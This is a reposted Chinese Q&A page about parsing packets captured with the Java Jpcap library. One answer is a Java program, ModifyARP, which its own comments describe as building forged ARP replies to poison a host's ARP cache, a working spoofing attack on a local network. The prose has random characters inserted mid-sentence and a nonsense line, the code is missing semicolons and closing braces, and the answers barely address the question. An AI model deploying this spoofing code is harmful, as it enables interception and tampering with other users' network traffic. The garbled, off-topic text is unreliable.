Jpcap抓取的数据包能否解析出具体的报文?若能该怎么做到

Jpcap抓取的数据包能否解析出具体的报文?若能该怎么做到,第1张

ospf报文是组播发送的,只发伍脊送给224.0.0.5和224.0.0.6两个组播组。这两个组播是ospf专用的组播地址,腔蚂渗你物指的pc网卡接口上没有启用ospf协议,肯定不会收到ospf报文。你问的就是这个

我感觉可以,求采纳

僵业甩排账渠

import jpcap.packet.*

import jpcap.JpcapCaptor

import jpcap.JpcapSender

import jpcap.NetworkInterface

import java.net.*

import java.util.Arrays

import java.io.*

public class ModifyARP {

static NetworkInterface[] devices = JpcapCaptor.getDeviceList()//得到主机A的网络设备列表

/*

* 获取局域网郑虚内的某个主机的MAC地址,方法:发一个ARP请求,从ARP回复中得到MAC地址

*/

static byte[] getOtherMAC(String ip) throws IOException{

JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000)

JpcapSender sender = jc.getJpcapSenderInstance()

InetAddress senderIP = InetAddress.getByName("192.168.10.100") //主机A的IP地址

InetAddress targetIP = InetAddress.getByName(ip) //目标主机的IP地址

byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255} //广播地址

ARPPacket arp=new ARPPacket() //开始构造一个ARP包

arp.hardtype=ARPPacket.HARDTYPE_ETHER

arp.prototype=ARPPacket.PROTOTYPE_IP

arp.operation=ARPPacket.ARP_REQUEST //判丛槐指明是ARP请求包

arp.hlen=6

arp.plen=4

arp.sender_hardaddr=devices[0].mac_address //ARP包的发送端以掘友太网地址

arp.sender_protoaddr=senderIP.getAddress() //发送端IP地址

arp.target_hardaddr=broadcast //目的以太网地址

arp.target_protoaddr=targetIP.getAddress() //目的端IP地址

EthernetPacket ether=new EthernetPacket() //构造以太网首部

ether.frametype=EthernetPacket.ETHERTYPE_ARP //帧类型

ether.src_mac=devices[0].mac_address //以太网源地址

ether.dst_mac=broadcast //以太网目的地址

arp.datalink=ether

sender.sendPacket(arp)

while(true){//获取ARP回复包,从中提取出目的主机的MAC地址

ARPPacket p=(ARPPacket)jc.getPacket()

if(p==null){

throw new IllegalArgumentException(targetIP+" is not a local address")

}

if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){

return p.sender_hardaddr

}

}

}

public static void main(String[] args) throws IOException {

JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000)

captor.setFilter("arp",true)

JpcapSender sender = captor.getJpcapSenderInstance()

ARPPacket arp=new ARPPacket() //构造ARP欺骗用的数据包,实质上就是一个ARP回复包

arp.hardtype = ARPPacket.HARDTYPE_ETHER

arp.prototype=ARPPacket.PROTOTYPE_IP

arp.operation=ARPPacket.ARP_REPLY //指明是ARP回复包

arp.hlen=6

arp.plen=4

arp.sender_hardaddr=devices[0].mac_address

arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress()

arp.target_hardaddr=getOtherMAC("192.168.10.254")

arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress()

EthernetPacket ether=new EthernetPacket()

ether.frametype=EthernetPacket.ETHERTYPE_ARP

ether.src_mac=getOtherMAC("192.168.10.1")

ether.dst_mac=getOtherMAC("192.168.10.254")

arp.datalink=ether

sender.sendPacket(arp)


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12256102.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-24
下一篇 2023-05-24

发表评论

登录后才能评论

评论列表(0条)

保存